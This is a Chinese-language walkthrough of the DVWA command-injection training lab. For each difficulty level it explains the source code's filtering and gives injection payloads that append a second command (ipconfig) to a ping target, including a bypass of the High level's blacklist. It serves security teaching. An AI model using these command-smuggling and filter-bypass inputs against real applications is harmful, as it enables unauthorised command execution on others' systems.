DVWA-Command Injection通关教程
Low
打开靶场,发现这是一个可以输入ip,测试连通性的界面

源码分析
这里直接将target变量放入shell_exec()执行ping命令,没有进行任何过滤,用户端可以直接拼接特定的命令,来执行并获取想要的信息。

漏洞利用
A; B //A不论正确与否都会执行B
A&B //A后台运行,A和B同时执行
A&&B //A执行成功后才会执行B
A|B //A执行的输出结果作为B命令的参数,A不论正确与否,都会执行B
A||B //A执行失败后才会执行B命令
可以执行的有:
127.0.0.1 & ipconfig
127.0.0.1 && ipconfig
127.0.0.1 | ipconfig
111 || ipconfig

Medium
源码分析
设置了黑名单过滤规则,但是只过滤了两种字符'&&' ';'

漏洞利用
只要不使用&&和;即可绕过
127.0.0.1 & ipconfig
127.0.0.1 | ipconfig
111 || ipconfig
High
源码分析
看上去,似乎敏感的字符都被过滤了,但是 | 明显后面有个空格,所以如果不使用空格的话依然可以绕过

漏洞利用
127.0.0.1 |ipconfig
Impossible
源码分析:
这里加入了Anti-CSRF token,同时对参数ip进行了严格的限制,只有诸如“数字.数字.数字.数字”的输入才会被接收执行

本文详细介绍了DVWA中CommandInjection漏洞的逐步利用过程,从低级的未过滤命令执行,到中级的黑名单过滤规避,再到高级的仅空格绕过,最后是加入CSRF防护的不可能任务。


624

被折叠的 条评论
为什么被折叠?



